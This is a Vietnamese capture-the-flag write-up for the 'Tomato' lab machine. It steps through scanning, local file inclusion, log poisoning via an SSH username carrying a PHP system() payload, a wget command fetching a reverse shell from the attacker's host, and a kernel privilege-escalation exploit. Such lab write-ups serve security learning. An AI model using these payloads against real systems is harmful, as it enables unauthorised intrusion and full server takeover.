Giới thiệu
Tomato là 1 machine về leo quyền trên Linux được thiết kế bởi SunCSR team, thông tin về machine các bạn có thể xem tại đây.
Cài đặt machine
Để chạy Tomato thì chúng ta nên cài đặt VMware Workstation Pro 15, machine đã được kiểm tra trên phiên bản này rồi nên chúng ta có thể cài đặt mà không lo bị lỗi.
Việc cài đặt rất đơn giản: chỉ cần tải file Tomato.zip về, giải nén ra, sau đó trong VMware chọn file > open > chọn** file ovf/ova** > chọn "I copied it" là được.
Sau khi cài đặt VM rồi, chúng ta cần kiểm tra lại thông tin VM xem Network Adapter đã ở chế độ NAT chưa. Nếu đang ở chế độ Bridge thì chúng ta cần chuyển sang chế độ NAT, chỉ cần chọn Edit virtual machine settings > tại mục Network Adapter chọn NAT > save.
Network Scanning
Đầu tiên để tìm kiếm địa chỉ IP của máy mục tiêu, ta tiến hành kiểm tra ip của máy với lệnh ifconfig
Với IP là 192.168.1.4 chúng ta sử dụng nmap quét toàn bộ ip trong dải này để tìm kiếm ip của Tomato nmap 192.168.1.0/24
Scan với nmap :
nmap -sV -sS -p- 192.168.1.3
- -sS: scan bằng giao tức TCP SYN
- -sV: scan tìm phiên bản của các dịch vụ chạy trên cổng
- -p-: scan with full port (65535 port)
Enumeration
Bắt đầu với port 80 , sử dụng dirb để liệt kê thư mục
dirb http://192.168.1.3 -f
Truy cập theo đường dẫn dirb trả về:
Tiến hành view-source ta nhận được nội dung:
</?php include $_GET['image']; ?>
gợi ý cho chúng ta về lỗ hổng Local File Inclusion (LFI)
Khai thác Local File Inclusion (LFI)
Với những gì tác giả đã để lại, chúng ta tiến hành kiểm thử với payload sau:
http://192.168.1.3/antibot_image/antibots/info.php?image=/etc/passwd
From LFI to RCE
Với LFI trong tay, mình lần lượt tìm đọc nội dung các file quan trọng và phát hiện auth.log có thể đọc được thông qua lỗ hổng này
Payload http://192.168.1.3/antibot_image/antibots/info.php?image=/var/log/auth.log
"auth.log" là file lưu trữ nhật ký truy cập hệ thống. Khi chúng ta đăng nhập thông qua giao diện chính hay qua SSH thì các thông tin đều được lưu trữ tại đây kể cả thành công hay thất bại . Ví dụ như khi chúng ta đăng nhập vào Server thông qua SSH với nội dung
ssh abcd@192.168.1.3
và nhập mật khẩu sai nhiều lần, thì nội dung auth.log sẽ ghi nhận :
user unknown Oct 18 08:59:17 ubuntu sshd[916]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.10 Oct 18 08:59:20 ubuntu sshd[916]: Failed password for invalid user abcd from 192.168.1.10 port 54254 ssh2
Như vậy phương pháp của chúng ta đơn giản chỉ cần thay user abcd kia thành payload tùy ý, từ đó hoàn toàn có thể kiểm soát server.
Payload:
ssh '<?php system($_GET["cmd"]);?>'@192.168.1.3 -p 2211
#
http://192.168.1.3/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=id
Tiến hành thực hiện revershell-shell theo cách sau :
Bước 1: Download php-reverse-shell tại đây
Bước 2: Chỉnh sửa nội dung [host/port]
Bước 3: Sử dụng SimpleHTTPServer để build một web-server đơn giản trên máy attacker
python3 -m http.server 8081
Bước 4: Download shell về Tomato
Payload: http://192.168.1.3/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=wget%20192.168.1.4:8081/php-reverse-shell.php%20-O%20/tmp/shell.php
Bước 5: Thực thi shell
http://192.168.1.3/antibot_image/antibots/info.php?image=/tmp/shell.php
Privilege Escalation
Kểm tra phiên bản Kernel bằng cách sử dụng lệnh:
uname -a
Phiên bản Kernel tồn tại lỗ hổng cho phép leo thang đặc quyền .
Thực hiện download mã khai thác và biên dịch với GCC trên máy Attacker
wget https://www.exploit-db.com/raw/45010 -O exploit.c
gcc exploit.c -o exploit
chmod +x exploit
Chuyển mã khai thác sang Tomato và thực thi
ROOTED!!!